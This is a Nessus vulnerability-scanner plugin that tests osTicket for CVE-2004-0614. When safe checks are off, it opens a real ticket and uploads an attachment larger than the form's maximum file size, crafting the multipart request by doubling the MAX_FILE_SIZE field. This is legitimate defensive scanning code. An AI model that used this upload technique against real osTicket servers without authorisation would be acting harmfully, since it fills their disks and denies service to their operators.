| code | #
# This script was written by George A. Theall, <[email protected]>.
#
# See the Nessus Scripts License for details.
#
# Changes by Tenable:
# - Revised plugin title (4/21/009)
# NB: I define the script description here so I can later modify
# it with the filename of the exploit.
include("compat.inc");
if (description) {
script_id(13646);
script_version ("1.16");
script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_cve_id("CVE-2004-0614");
script_name(english:"osTicket Form Field Modification File Upload Size Restriction Bypass");
script_set_attribute(attribute:"synopsis", value:
"It is possible to DoS the remote host through a wep application." );
script_set_attribute(attribute:"description", value:
"The target is running at least one instance of osTicket that enables a
remote user to a open new ticket with an attachment of unlimited size.
An attacker could exploit this vulnerability and cause a denial of
service by filling up the filesystem used for attachments." );
script_set_attribute(attribute:"solution", value:
"Upgrade to osTicket STS 1.2.7 or later." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_attribute(attribute:"plugin_publication_date", value: "2004/07/14");
script_set_attribute(attribute:"vuln_publication_date", value: "2004/06/22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
summary["english"] = "Checks for Large Attachment Vulnerability in osTicket";
script_summary(english:summary["english"]);
script_category(ACT_MIXED_ATTACK);
script_copyright(english:"This script is Copyright (C) 2004-2020 George A. Theall");
script_family(english:"CGI abuses");
script_dependencie("global_settings.nasl", "http_version.nasl", "osticket_detect.nasl");
script_require_ports("Services/www", 80);
script_require_keys("www/osticket");
exit(0);
}
include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");
host = get_host_name();
port = get_http_port(default:80, embedded:TRUE);
if (!get_port_state(port)) exit(0);
# Check each installed instance, stopping if we find a vulnerability.
installs = get_kb_list(string("www/", port, "/osticket"));
if (isnull(installs)) exit(0);
foreach install (installs) {
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
ver = matches[1];
dir = matches[2];
# If safe_checks are enabled, rely on the version number alone.
#
# nb: I have no clue about whether earlier versions are affected.
if (safe_checks()) {
if (ereg(pattern:"^1\.2\.5$", string:ver)) {
security_warning(port);
exit(0);
}
}
else {
# Get osTicket's open.php.
url = string(dir, "/open.php");
req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req);
if (res == NULL) exit(0); # can't connect
# If the form supports attachments...
if (egrep(pattern:'type="file" name="attachment"', string:res, icase:TRUE)) {
# Grab the session cookie.
pat = "Set-Cookie: (.+); path=";
matches = egrep(pattern:pat, string:res, icase:TRUE);
foreach match (split(matches)) {
match = chomp(match);
cookie = eregmatch(pattern:pat, string:match);
if (cookie == NULL) break;
cookie = cookie[1];
}
# Grab the max file size.
pat = 'name="MAX_FILE_SIZE" value="(.+)"';
matches = egrep(pattern:pat, string:res, icase:TRUE);
foreach match (split(matches)) {
match = chomp(match);
max = eregmatch(pattern:pat, string:match);
if (max == NULL) break;
max = max[1];
}
# Open a ticket as long as we have a session cookie and a maximum file size.
if (cookie && max) {
boundary = "bound";
req = string(
"POST ", url, " HTTP/1.1\r\n",
"Host: ", host, ":", port, "\r\n",
"Cookie: ", cookie, "\r\n",
"Content-Type: multipart/form-data; boundary=", boundary, "\r\n"
# nb: we'll add the Content-Length header and post data later.
);
boundary = string("--", boundary);
postdata = string(
boundary, "\r\n",
'Content-Disposition: form-data; name="name"', "\r\n",
"\r\n",
"nessus\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="email"', "\r\n",
"\r\n",
"postmaster@", host, "\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="phone"', "\r\n",
"\r\n",
"\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="cat"', "\r\n",
"\r\n",
"4\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="subject"', "\r\n",
"\r\n",
"Attachment Upload Test\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="message"', "\r\n",
"\r\n",
"Attempt to open a ticket and attach an excessively large attachment.\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="pri"', "\r\n",
"\r\n",
"1\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="MAX_FILE_SIZE"', "\r\n",
"\r\n",
# NB: we'll allow for double the preset max...
max*2, "\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="attachment"; filename="big_file"', "\r\n",
"Content-Type: application/octet-stream\r\n",
"\r\n",
# but only upload a file with an extra 10%.
crap(max*11/10), "\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="submit_x"', "\r\n",
"\r\n",
"Open Ticket\r\n",
boundary, "--", "\r\n"
);
req = string(
req,
"Content-Length: ", strlen(postdata), "\r\n",
"\r\n",
postdata
);
res = http_keepalive_send_recv(port:port, data:req);
if (res == NULL) exit(0); # can't connect
# Grab the ticket number that was issued.
pat = 'name="login_ticket" .+ value="(.+)">';
if (matches = egrep(pattern:pat, string:res, icase:TRUE)) {
foreach match (split(matches)) {
match = chomp(match);
ticket = eregmatch(pattern:pat, string:match);
if (ticket == NULL) break;
ticket = ticket[1];
}
if (ticket) {
report = strcat(
"**** Nessus successfully opened ticket #", ticket, " and uploaded
**** an attachment exceeding the maximum size as ", ticket, "_big_file to
**** osTicket's attachment directory. You are strongly encouraged to delete
**** this file as soon as possible to free up disk space.
");
security_warning(port:port, extra:report);
exit(0);
}
}
}
}
}
}
}
|